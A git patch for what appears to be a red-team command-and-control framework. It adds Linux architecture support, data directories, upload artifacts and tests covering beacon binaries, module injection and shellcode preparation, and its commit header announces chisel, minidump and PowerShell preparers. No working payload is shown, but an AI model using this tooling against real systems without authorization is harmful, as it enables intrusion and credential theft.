runtimeConfig.scriptsDirectoryPath = config["ScriptsDirectoryPath"].get(); - if (auto it = config.find("CommandSpecsDirectoryPath"); it != config.end() && it->is_string()) - runtimeConfig.commandSpecsDirectoryPath = it->get(); - if (auto it = config.find("GeneratedArtifactsDirectoryPath"); it != config.end() && it->is_string()) - runtimeConfig.generatedArtifactsDirectoryPath = it->get(); + runtimeConfig.releaseRoot = ensureTrailingSeparator(jsonString(config, "ReleaseRoot", runtimeConfig.releaseRoot)); + runtimeConfig.dataRoot = ensureTrailingSeparator(jsonString(config, "DataRoot", runtimeConfig.dataRoot)); + + runtimeConfig.teamServerModulesDirectoryPath = ensureTrailingSeparator( + jsonString(config, "TeamServerModulesDirectoryPath", childPath(runtimeConfig.releaseRoot, "TeamServerModules"))); + runtimeConfig.linuxModulesDirectoryPath = ensureTrailingSeparator( + jsonString(config, "LinuxModulesDirectoryPath", childPath(runtimeConfig.releaseRoot, "LinuxModules"))); + runtimeConfig.windowsModulesDirectoryPath = ensureTrailingSeparator( + jsonString(config, "WindowsModulesDirectoryPath", childPath(runtimeConfig.releaseRoot, "WindowsModules"))); + runtimeConfig.linuxBeaconsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "LinuxBeaconsDirectoryPath", childPath(runtimeConfig.releaseRoot, "LinuxBeacons"))); + runtimeConfig.windowsBeaconsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "WindowsBeaconsDirectoryPath", childPath(runtimeConfig.releaseRoot, "WindowsBeacons"))); + runtimeConfig.commandSpecsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "CommandSpecsDirectoryPath", childPath(runtimeConfig.releaseRoot, "CommandSpecs"))); + + runtimeConfig.toolsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "ToolsDirectoryPath", childPath(runtimeConfig.dataRoot, "Tools"))); + runtimeConfig.scriptsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "ScriptsDirectoryPath", childPath(runtimeConfig.dataRoot, "Scripts"))); + runtimeConfig.uploadedArtifactsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "UploadedArtifactsDirectoryPath", childPath(runtimeConfig.dataRoot, "UploadedArtifacts"))); + runtimeConfig.generatedArtifactsDirectoryPath = ensureTrailingSeparator( + jsonString(config, "GeneratedArtifactsDirectoryPath", childPath(runtimeConfig.dataRoot, "GeneratedArtifacts"))); + runtimeConfig.wwwDirectoryPath = ensureTrailingSeparator( + jsonString(config, "WwwDirectoryPath", childPath(runtimeConfig.dataRoot, "www"))); + if (auto it = config.find("DefaultWindowsArch"); it != config.end() && it->is_string()) runtimeConfig.defaultWindowsArch = normalizeWindowsArch(it->get()); - if (auto it = config.find("SupportedWindowsArchs"); it != config.end() && it->is_array()) - { - runtimeConfig.supportedWindowsArchs.clear(); - for (const auto& arch : *it) - { - if (!arch.is_string()) - continue; - std::string normalized = normalizeWindowsArch(arch.get()); - if (!normalized.empty() - && std::find(runtimeConfig.supportedWindowsArchs.begin(), runtimeConfig.supportedWindowsArchs.end(), normalized) - == runtimeConfig.supportedWindowsArchs.end()) - { - runtimeConfig.supportedWindowsArchs.push_back(normalized); - } - } - if (runtimeConfig.supportedWindowsArchs.empty()) - runtimeConfig.supportedWindowsArchs = {"x86", "x64", "arm64"}; - } + if (auto it = config.find("DefaultLinuxArch"); it != config.end() && it->is_string()) + runtimeConfig.defaultLinuxArch = normalizeLinuxArch(it->get()); + parseArchList(config, "SupportedWindowsArchs", runtimeConfig.supportedWindowsArchs, {"x86", "x64", "arm64"}, normalizeWindowsArch); + parseArchList(config, "SupportedLinuxArchs", runtimeConfig.supportedLinuxArchs, {"x64"}, normalizeLinuxArch); return runtimeConfig; } -std::string TeamServerRuntimeConfig::normalizeWindowsArch(const std::string& arch) +namespace +{ +std::string normalizeCpuArch(const std::string& arch) { std::string lowered = arch; std::transform(lowered.begin(), lowered.end(), lowered.begin(), [](unsigned char c) @@ -63,6 +135,17 @@ std::string TeamServerRuntimeConfig::normalizeWindowsArch(const std::string& arc return "arm64"; return ""; } +} // namespace + +std::string TeamServerRuntimeConfig::normalizeWindowsArch(const std::string& arch) +{ + return normalizeCpuArch(arch); +} + +std::string TeamServerRuntimeConfig::normalizeLinuxArch(const std::string& arch) +{ + return normalizeCpuArch(arch); +} void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptr& logger) const { @@ -71,6 +154,15 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("Linux modules directory path don't exist: {0}", linuxModulesDirectoryPath.c_str()); + else + { + for (const auto& arch : supportedLinuxArchs) + { + fs::path archPath = fs::path(linuxModulesDirectoryPath) / arch; + if (!fs::exists(archPath)) + logger->error("Linux modules architecture directory path don't exist: {0}", archPath.string().c_str()); + } + } if (!fs::exists(windowsModulesDirectoryPath)) logger->error("Windows modules directory path don't exist: {0}", windowsModulesDirectoryPath.c_str()); @@ -86,6 +178,15 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("Linux beacon directory path don't exist: {0}", linuxBeaconsDirectoryPath.c_str()); + else + { + for (const auto& arch : supportedLinuxArchs) + { + fs::path archPath = fs::path(linuxBeaconsDirectoryPath) / arch; + if (!fs::exists(archPath)) + logger->error("Linux beacon architecture directory path don't exist: {0}", archPath.string().c_str()); + } + } if (!fs::exists(windowsBeaconsDirectoryPath)) logger->error("Windows beacon directory path don't exist: {0}", windowsBeaconsDirectoryPath.c_str()); @@ -104,22 +205,29 @@ void TeamServerRuntimeConfig::validateDirectories(const std::shared_ptrerror("DefaultWindowsArch is not listed in SupportedWindowsArchs: {0}", defaultWindowsArch.c_str()); - if (!fs::exists(toolsDirectoryPath)) - logger->error("Tools directory path don't exist: {0}", toolsDirectoryPath.c_str()); + if (TeamServerRuntimeConfig::normalizeLinuxArch(defaultLinuxArch).empty()) + logger->error("DefaultLinuxArch is not supported: {0}", defaultLinuxArch.c_str()); + else if (std::find(supportedLinuxArchs.begin(), supportedLinuxArchs.end(), defaultLinuxArch) == supportedLinuxArchs.end()) + logger->error("DefaultLinuxArch is not listed in SupportedLinuxArchs: {0}", defaultLinuxArch.c_str()); - if (!fs::exists(scriptsDirectoryPath)) - logger->error("Script directory path don't exist: {0}", scriptsDirectoryPath.c_str()); + ensureDirectory(toolsDirectoryPath, "Tools", logger); + ensurePlatformArchDirectories(toolsDirectoryPath, "Windows", supportedWindowsArchs, logger); + ensurePlatformArchDirectories(toolsDirectoryPath, "Linux", supportedLinuxArchs, logger); + + ensureDirectory(scriptsDirectoryPath, "Scripts", logger); + ensureDirectory(fs::path(scriptsDirectoryPath) / "Windows", "Windows scripts", logger); + ensureDirectory(fs::path(scriptsDirectoryPath) / "Linux", "Linux scripts", logger); + + ensureDirectory(uploadedArtifactsDirectoryPath, "Uploaded artifacts", logger); + ensureDirectory(fs::path(uploadedArtifactsDirectoryPath) / "Any" / "any", "Any uploaded artifacts", logger); + ensurePlatformArchDirectories(uploadedArtifactsDirectoryPath, "Windows", supportedWindowsArchs, logger); + ensurePlatformArchDirectories(uploadedArtifactsDirectoryPath, "Linux", supportedLinuxArchs, logger); + + ensureDirectory(generatedArtifactsDirectoryPath, "Generated artifacts", logger); + ensureDirectory(wwwDirectoryPath, "www", logger); if (!fs::exists(commandSpecsDirectoryPath)) logger->error("Command specs directory path don't exist: {0}", commandSpecsDirectoryPath.c_str()); - - if (!fs::exists(generatedArtifactsDirectoryPath)) - { - std::error_code ec; - fs::create_directories(generatedArtifactsDirectoryPath, ec); - if (ec) - logger->error("Generated artifacts directory path don't exist and could not be created: {0}", generatedArtifactsDirectoryPath.c_str()); - } } void TeamServerRuntimeConfig::configureCommonCommands(CommonCommands& commonCommands) const diff --git a/teamServer/teamServer/TeamServerRuntimeConfig.hpp b/teamServer/teamServer/TeamServerRuntimeConfig.hpp index db7cb13..cc6e441 100644 --- a/teamServer/teamServer/TeamServerRuntimeConfig.hpp +++ b/teamServer/teamServer/TeamServerRuntimeConfig.hpp @@ -15,6 +15,8 @@ class logger; struct TeamServerRuntimeConfig { + std::string releaseRoot = "../"; + std::string dataRoot = "../data/"; std::string teamServerModulesDirectoryPath; std::string linuxModulesDirectoryPath; std::string windowsModulesDirectoryPath; @@ -23,12 +25,17 @@ struct TeamServerRuntimeConfig std::string toolsDirectoryPath; std::string scriptsDirectoryPath; std::string commandSpecsDirectoryPath = "../CommandSpecs/"; - std::string generatedArtifactsDirectoryPath = "../GeneratedArtifacts/"; + std::string uploadedArtifactsDirectoryPath = "../data/UploadedArtifacts/"; + std::string generatedArtifactsDirectoryPath = "../data/GeneratedArtifacts/"; + std::string wwwDirectoryPath = "../data/www/"; std::string defaultWindowsArch = "x64"; + std::string defaultLinuxArch = "x64"; std::vector supportedWindowsArchs = {"x86", "x64", "arm64"}; + std::vector supportedLinuxArchs = {"x64"}; static TeamServerRuntimeConfig fromJson(const nlohmann::json& config); static std::string normalizeWindowsArch(const std::string& arch); + static std::string normalizeLinuxArch(const std::string& arch); void validateDirectories(const std::shared_ptr& logger) const; void configureCommonCommands(CommonCommands& commonCommands) const; diff --git a/teamServer/teamServer/TeamServerTermLocalService.cpp b/teamServer/teamServer/TeamServerTermLocalService.cpp index 690e16a..a6bfe7e 100644 --- a/teamServer/teamServer/TeamServerTermLocalService.cpp +++ b/teamServer/teamServer/TeamServerTermLocalService.cpp @@ -1,10 +1,12 @@ #include "TeamServerTermLocalService.hpp" +#include #include #include "TeamServerModuleLoader.hpp" #include "listener/ListenerHttp.hpp" using json = nlohmann::json; +namespace fs = std::filesystem; namespace { @@ -198,19 +200,27 @@ grpc::Status TeamServerTermLocalService::handleBatcaveUpload( return grpc::Status::OK; } - const std::string filePath = m_runtimeConfig.toolsDirectoryPath + "/" + filename; + const fs::path filePath = fs::path(m_runtimeConfig.toolsDirectoryPath) / "Any" / "any" / filename; + std::error_code ec; + fs::create_directories(filePath.parent_path(), ec); + if (ec) + { + setTerminalError(response, "Error: Cannot create tools directory."); + m_logger->warn("Failed to create tools directory for uploaded tool '{0}' at {1}", filename, filePath.parent_path().string()); + return grpc::Status::OK; + } std::ofstream outputFile(filePath, std::ios::out | std::ios::binary); if (outputFile.good()) { outputFile << command.data(); outputFile.close(); setTerminalOk(response, "ok"); - m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath); + m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath.string()); return grpc::Status::OK; } setTerminalError(response, "Error: Cannot write file."); - m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath); + m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath.string()); return grpc::Status::OK; } diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index c7ae58e..22c81ca 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -64,6 +64,7 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) runtimeConfig.windowsBeaconsDirectoryPath = (root / "WindowsBeacons").string(); runtimeConfig.toolsDirectoryPath = (root / "Tools").string(); runtimeConfig.scriptsDirectoryPath = (root / "Scripts").string(); + runtimeConfig.uploadedArtifactsDirectoryPath = (root / "UploadedArtifacts").string(); runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string(); fs::create_directories(runtimeConfig.teamServerModulesDirectoryPath); @@ -73,12 +74,25 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); fs::create_directories(runtimeConfig.toolsDirectoryPath); fs::create_directories(runtimeConfig.scriptsDirectoryPath); + fs::create_directories(runtimeConfig.uploadedArtifactsDirectoryPath); fs::create_directories(runtimeConfig.generatedArtifactsDirectoryPath); + for (const std::string& arch : runtimeConfig.supportedLinuxArchs) + { + fs::create_directories(fs::path(runtimeConfig.linuxModulesDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.toolsDirectoryPath) / "Linux" / arch); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Linux" / arch); + } for (const std::string& arch : runtimeConfig.supportedWindowsArchs) { fs::create_directories(fs::path(runtimeConfig.windowsModulesDirectoryPath) / arch); fs::create_directories(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / arch); + fs::create_directories(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / arch); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Windows" / arch); } + fs::create_directories(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows"); + fs::create_directories(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux"); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any"); return runtimeConfig; } @@ -93,14 +107,15 @@ void writeFile(const fs::path& path, const std::string& content) void seedArtifacts(const TeamServerRuntimeConfig& runtimeConfig) { writeFile(fs::path(runtimeConfig.teamServerModulesDirectoryPath) / "libServerModule.so", "teamserver-module"); - writeFile(fs::path(runtimeConfig.linuxModulesDirectoryPath) / "linuxmod.so", "linux-module"); + writeFile(fs::path(runtimeConfig.linuxModulesDirectoryPath) / "x64" / "linuxmod.so", "linux-module"); writeFile(fs::path(runtimeConfig.windowsModulesDirectoryPath) / "x64" / "winmod64.dll", "windows-module-x64"); writeFile(fs::path(runtimeConfig.windowsModulesDirectoryPath) / "x86" / "winmod86.dll", "windows-module-x86"); - writeFile(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / "BeaconHttp", "linux-beacon"); + writeFile(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / "x64" / "BeaconHttp", "linux-beacon"); writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x64" / "BeaconHttp.exe", "windows-beacon-x64"); - writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "batcave.zip", "tool-archive"); - writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "startup.py", "script"); - writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / ".ignored.py", "hidden-script"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "batcave.zip", "tool-archive"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "startup.ps1", "script"); + writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / ".ignored.ps1", "hidden-script"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator-note.txt", "upload"); } const TeamServerArtifactRecord* findArtifact( @@ -132,8 +147,8 @@ void testCatalogIndexesReleaseRoots() TeamServerArtifactCatalog catalog(runtimeConfig); const std::vector artifacts = catalog.listArtifacts(); - assert(artifacts.size() == 8); - assert(findArtifact(artifacts, ".ignored.py", "script", "any", "any") == nullptr); + assert(artifacts.size() == 9); + assert(findArtifact(artifacts, ".ignored.ps1", "script", "windows", "any") == nullptr); const TeamServerArtifactRecord* windowsModule = findArtifact(artifacts, "winmod64.dll", "module", "windows", "x64"); assert(windowsModule != nullptr); @@ -147,18 +162,24 @@ void testCatalogIndexesReleaseRoots() assert(windowsModule->artifactId.size() == 64); assert(windowsModule->internalPath.find(tempRoot.path().string()) != std::string::npos); - const TeamServerArtifactRecord* linuxBeacon = findArtifact(artifacts, "BeaconHttp", "beacon", "linux", "any"); + const TeamServerArtifactRecord* linuxBeacon = findArtifact(artifacts, "BeaconHttp", "beacon", "linux", "x64"); assert(linuxBeacon != nullptr); assert(linuxBeacon->format == "binary"); assert(linuxBeacon->scope == "implant"); assert(linuxBeacon->target == "listener"); - const TeamServerArtifactRecord* script = findArtifact(artifacts, "startup.py", "script", "any", "any"); + const TeamServerArtifactRecord* script = findArtifact(artifacts, "startup.ps1", "script", "windows", "any"); assert(script != nullptr); - assert(script->scope == "teamserver"); - assert(script->target == "teamserver"); - assert(script->format == "py"); - assert(script->runtime == "python"); + assert(script->scope == "server"); + assert(script->target == "beacon"); + assert(script->format == "ps1"); + assert(script->runtime == "script"); + + const TeamServerArtifactRecord* upload = findArtifact(artifacts, "operator-note.txt", "upload", "any", "any"); + assert(upload != nullptr); + assert(upload->scope == "operator"); + assert(upload->target == "beacon"); + assert(upload->runtime == "file"); } void testCatalogFiltersArtifacts() @@ -179,6 +200,8 @@ void testCatalogFiltersArtifacts() TeamServerArtifactQuery toolQuery; toolQuery.category = "tool"; + toolQuery.platform = "windows"; + toolQuery.arch = "x64"; toolQuery.nameContains = "BATCAVE"; artifacts = catalog.listArtifacts(toolQuery); assert(artifacts.size() == 1); @@ -187,6 +210,7 @@ void testCatalogFiltersArtifacts() TeamServerArtifactQuery linuxModules; linuxModules.category = "module"; linuxModules.platform = "linux"; + linuxModules.arch = "x64"; artifacts = catalog.listArtifacts(linuxModules); assert(artifacts.size() == 1); assert(artifacts[0].name == "linuxmod.so"); @@ -257,11 +281,11 @@ void testArtifactServiceStreamsPublicMetadataOnly() }).ok()); assert(summaries.size() == 1); - assert(summaries[0].name() == "startup.py"); + assert(summaries[0].name() == "startup.ps1"); assert(summaries[0].category() == "script"); - assert(summaries[0].scope() == "teamserver"); - assert(summaries[0].target() == "teamserver"); - assert(summaries[0].runtime() == "python"); + assert(summaries[0].scope() == "server"); + assert(summaries[0].target() == "beacon"); + assert(summaries[0].runtime() == "script"); assert(summaries[0].sha256().size() == 64); assert(summaries[0].DebugString().find(tempRoot.path().string()) == std::string::npos); } diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 266c7e6..fd37b66 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -241,11 +241,43 @@ void testPrepareLoadModuleUsesWindowsSessionArchitecture() assert(commonCommands.getLastResolvedModulePath() == (windowsModulesRoot / "arm64" / "Inject.dll").string()); } +void testPrepareLoadModuleUsesLinuxSessionArchitecture() +{ + ScopedPath tempRoot(makeTempDirectory("loadmodule-linux-arch")); + fs::path windowsModulesRoot = tempRoot.path() / "WindowsModules"; + fs::path linuxModulesRoot = tempRoot.path() / "LinuxModules"; + writeFile(linuxModulesRoot / "x64" / "libInject.so", "LINUX-X64"); + + CommonCommands commonCommands; + commonCommands.setDirectories( + (tempRoot.path() / "TeamServerModules").string(), + linuxModulesRoot.string() + "/", + windowsModulesRoot.string() + "/", + (tempRoot.path() / "LinuxBeacons").string() + "/", + (tempRoot.path() / "WindowsBeacons").string() + "/", + (tempRoot.path() / "Tools").string() + "/", + (tempRoot.path() / "Scripts").string() + "/"); + + std::vector> modules; + TeamServerCommandPreparationService service( + makeLogger(), + makeRuntimeConfig(tempRoot.path()), + commonCommands, + modules); + + C2Message message; + assert(service.prepareMessage("loadModule libInject.so", message, false, "amd64") == 0); + assert(message.instruction() == LoadC2ModuleCmd); + assert(message.inputfile() == "libInject.so"); + assert(message.data() == "LINUX-X64"); + assert(commonCommands.getLastResolvedModulePath() == (linuxModulesRoot / "x64" / "libInject.so").string()); +} + void testPrepareAssemblyExecUsesShellcodeServiceAndGeneratedArtifactStore() { ScopedPath tempRoot(makeTempDirectory("assemblyexec-preparer")); TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); - writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "payload.bin", "RAW-SHELLCODE"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "payload.bin", "RAW-SHELLCODE"); CommonCommands commonCommands; std::vector> modules; @@ -325,7 +357,7 @@ void testPrepareInjectUsesShellcodeServiceAndGeneratedArtifactStore() { ScopedPath tempRoot(makeTempDirectory("inject-preparer")); TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); - writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "payload.bin", "INJECT-SHELLCODE"); + writeFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / "x64" / "payload.bin", "INJECT-SHELLCODE"); CommonCommands commonCommands; std::vector> modules; @@ -409,6 +441,7 @@ int main() testPrepareModuleCommandCaseInsensitive(); testPrepareMissingCommand(); testPrepareLoadModuleUsesWindowsSessionArchitecture(); + testPrepareLoadModuleUsesLinuxSessionArchitecture(); testPrepareAssemblyExecUsesShellcodeServiceAndGeneratedArtifactStore(); testPrepareAssemblyExecDonutReportsMissingSource(); testPrepareInjectUsesShellcodeServiceAndGeneratedArtifactStore(); diff --git a/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp b/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp index 927b62a..4273df7 100644 --- a/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerArtifactServiceTests.cpp @@ -81,6 +81,8 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) fs::create_directories(runtimeConfig.windowsModulesDirectoryPath); fs::create_directories(runtimeConfig.linuxBeaconsDirectoryPath); fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); + for (const auto& arch : runtimeConfig.supportedLinuxArchs) + fs::create_directories(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / arch); for (const auto& arch : runtimeConfig.supportedWindowsArchs) fs::create_directories(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / arch); fs::create_directories(runtimeConfig.toolsDirectoryPath); @@ -137,6 +139,7 @@ void testGetBeaconBinaryForPrimaryAndSecondary() writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x86" / "BeaconHttp.exe", "HTTPBIN-X86"); writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "arm64" / "BeaconHttp.exe", "HTTPBIN-ARM64"); writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x64" / "BeaconSmb.exe", "SMBBIN-X64"); + writeFile(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / "x64" / "BeaconHttp", "LINUX-HTTPBIN-X64"); nlohmann::json config = nlohmann::json::object(); auto primary = std::make_shared("listener-primary"); @@ -178,6 +181,12 @@ void testGetBeaconBinaryForPrimaryAndSecondary() assert(response.result() == "Error: Unsupported architecture."); assert(response.message() == "Error: Unsupported architecture."); + command.set_command("getBeaconBinary listener-pri Linux x64"); + assert(service.handleCommand("getBeaconBinary", {"getBeaconBinary", "listener-pri", "Linux", "x64"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "ok"); + assert(response.data() == "LINUX-HTTPBIN-X64"); + command.set_command("getBeaconBinary secondary"); assert(service.handleCommand("getBeaconBinary", {"getBeaconBinary", "secondary"}, command, &response).ok()); assert(response.status() == teamserverapi::OK); diff --git a/teamServer/tests/TeamServerTermLocalServiceTests.cpp b/teamServer/tests/TeamServerTermLocalServiceTests.cpp index 3edbf24..2fbe992 100644 --- a/teamServer/tests/TeamServerTermLocalServiceTests.cpp +++ b/teamServer/tests/TeamServerTermLocalServiceTests.cpp @@ -155,7 +155,7 @@ void testUploadCommands() assert(response.status() == teamserverapi::OK); assert(response.result() == "ok"); assert(response.message().empty()); - assert(readFile(fs::path(runtimeConfig.toolsDirectoryPath) / "tool.bin") == "TOOL"); + assert(readFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / "tool.bin") == "TOOL"); } void testCredentialCommands() From cd9dda5fd18b6cd23b280cecde481ce00e04b8c1 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Wed, 6 May 2026 12:22:33 +0200 Subject: [PATCH 38/82] Chisel Minidump Powershell & Script --- C2Client/C2Client/ArtifactPanel.py | 4 +- C2Client/tests/test_artifact_panel.py | 1 + C2Client/tests/test_console_panel.py | 106 +++++ core | 2 +- packaging/validate_release.py | 3 + teamServer/CMakeLists.txt | 5 + teamServer/teamServer/TeamServer.cpp | 28 ++ teamServer/teamServer/TeamServer.hpp | 2 + .../TeamServerChiselCommandPreparer.cpp | 146 ++++++ .../TeamServerChiselCommandPreparer.hpp | 35 ++ .../TeamServerFileArtifactService.cpp | 448 ++++++++++++++++++ .../TeamServerFileArtifactService.hpp | 78 +++ .../TeamServerFileTransferCommandPreparer.cpp | 139 ++++++ .../TeamServerFileTransferCommandPreparer.hpp | 37 ++ .../TeamServerGeneratedArtifactStore.cpp | 145 +++++- .../TeamServerGeneratedArtifactStore.hpp | 3 + .../TeamServerListenerSessionService.cpp | 16 +- .../TeamServerListenerSessionService.hpp | 3 + .../TeamServerMiniDumpCommandPreparer.cpp | 106 +++++ .../TeamServerMiniDumpCommandPreparer.hpp | 31 ++ .../TeamServerScriptCommandPreparer.cpp | 161 +++++++ .../TeamServerScriptCommandPreparer.hpp | 37 ++ .../teamServer/TeamServerShellcodeService.hpp | 3 +- ...amServerCommandPreparationServiceTests.cpp | 313 +++++++++++- .../TeamServerListenerSessionServiceTests.cpp | 3 + 25 files changed, 1824 insertions(+), 31 deletions(-) create mode 100644 teamServer/teamServer/TeamServerChiselCommandPreparer.cpp create mode 100644 teamServer/teamServer/TeamServerChiselCommandPreparer.hpp create mode 100644 teamServer/teamServer/TeamServerFileArtifactService.cpp create mode 100644 teamServer/teamServer/TeamServerFileArtifactService.hpp create mode 100644 teamServer/teamServer/TeamServerFileTransferCommandPreparer.cpp create mode 100644 teamServer/teamServer/TeamServerFileTransferCommandPreparer.hpp create mode 100644 teamServer/teamServer/TeamServerMiniDumpCommandPreparer.cpp create mode 100644 teamServer/teamServer/TeamServerMiniDumpCommandPreparer.hpp create mode 100644 teamServer/teamServer/TeamServerScriptCommandPreparer.cpp create mode 100644 teamServer/teamServer/TeamServerScriptCommandPreparer.hpp diff --git a/C2Client/C2Client/ArtifactPanel.py b/C2Client/C2Client/ArtifactPanel.py index e034493..8d8bec2 100644 --- a/C2Client/C2Client/ArtifactPanel.py +++ b/C2Client/C2Client/ArtifactPanel.py @@ -28,12 +28,12 @@ ArtifactTabTitle = "Artifacts" ALL_FILTER = "All" -CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload"] +CATEGORY_FILTERS = [ALL_FILTER, "module", "beacon", "tool", "script", "payload", "upload", "download", "minidump"] SCOPE_FILTERS = [ALL_FILTER, "generated", "beacon", "implant", "teamserver", "server", "operator", "any"] TARGET_FILTERS = [ALL_FILTER, "teamserver", "beacon", "listener", "operator", "any"] PLATFORM_FILTERS = [ALL_FILTER, "windows", "linux", "server", "any"] ARCH_FILTERS = [ALL_FILTER, "x64", "x86", "arm64", "any"] -RUNTIME_FILTERS = [ALL_FILTER, "native", "python", "dotnet", "powershell", "bof", "shellcode", "text", "archive", "any"] +RUNTIME_FILTERS = [ALL_FILTER, "native", "file", "python", "dotnet", "powershell", "bof", "shellcode", "text", "archive", "any"] COL_CATEGORY = 0 COL_SCOPE = 1 diff --git a/C2Client/tests/test_artifact_panel.py b/C2Client/tests/test_artifact_panel.py index dc3fabb..fa02a9c 100644 --- a/C2Client/tests/test_artifact_panel.py +++ b/C2Client/tests/test_artifact_panel.py @@ -115,6 +115,7 @@ def test_artifacts_panel_lists_filters_and_copies_id(qtbot): panel = Artifacts(parent, grpc) qtbot.addWidget(panel) + assert panel.categoryFilter.findText("minidump") != -1 assert panel.artifactTable.rowCount() == 3 assert panel.artifactTable.item(0, 0).text() == "module" assert panel.artifactTable.item(0, 1).text() == "beacon" diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index eac1c3f..a73afe8 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -333,6 +333,112 @@ def test_command_specs_seed_console_completer_from_manifest_examples(): assert ("0.5", []) in sleep_entry +def test_upload_command_uses_upload_artifact_completions(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + return iter([ + SimpleNamespace(name="operator/tool.exe", display_name="tool.exe"), + SimpleNamespace(name="notes.txt", display_name="notes.txt"), + ]) + + upload_spec = SimpleNamespace( + name="upload", + kind="module", + examples=["upload tool.exe C:\\Temp\\tool.exe"], + args=[ + SimpleNamespace( + name="upload_artifact", + type="artifact", + values=[], + artifact_filter=SimpleNamespace( + category="upload", + scope="operator", + target="beacon", + platform="session.platform", + arch="session.arch", + runtime="file", + name_contains="", + ), + ), + SimpleNamespace(name="remote_path", type="path", values=[]), + ], + ) + session = SimpleNamespace(os="Windows 11", arch="x64") + + server_data = command_specs_to_completer_data([upload_spec], grpcClient=FakeGrpc(), session=session) + upload_children = _completion_children(server_data, "upload") + + assert ("operator/tool.exe", []) in upload_children + assert ("tool.exe", []) in upload_children + assert ("notes.txt", []) in upload_children + + +def test_script_and_powershell_commands_use_script_artifact_completions(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + if query.platform == "linux": + return iter([SimpleNamespace(name="cleanup.sh", display_name="cleanup.sh")]) + return iter([SimpleNamespace(name="PowerView.ps1", display_name="PowerView.ps1")]) + + script_filter = SimpleNamespace( + category="script", + scope="server", + target="beacon", + platform="session.platform", + arch="", + runtime="script", + name_contains="", + ) + powershell_filter = SimpleNamespace( + category="script", + scope="server", + target="beacon", + platform="windows", + arch="", + runtime="script", + name_contains=".ps1", + ) + script_spec = SimpleNamespace( + name="script", + kind="module", + examples=["script cleanup.sh"], + args=[ + SimpleNamespace(name="script_artifact", type="artifact", values=[], artifact_filter=script_filter), + ], + ) + powershell_spec = SimpleNamespace( + name="powershell", + kind="module", + examples=["powershell -s PowerView.ps1"], + args=[ + SimpleNamespace(name="-i", type="flag", values=[], 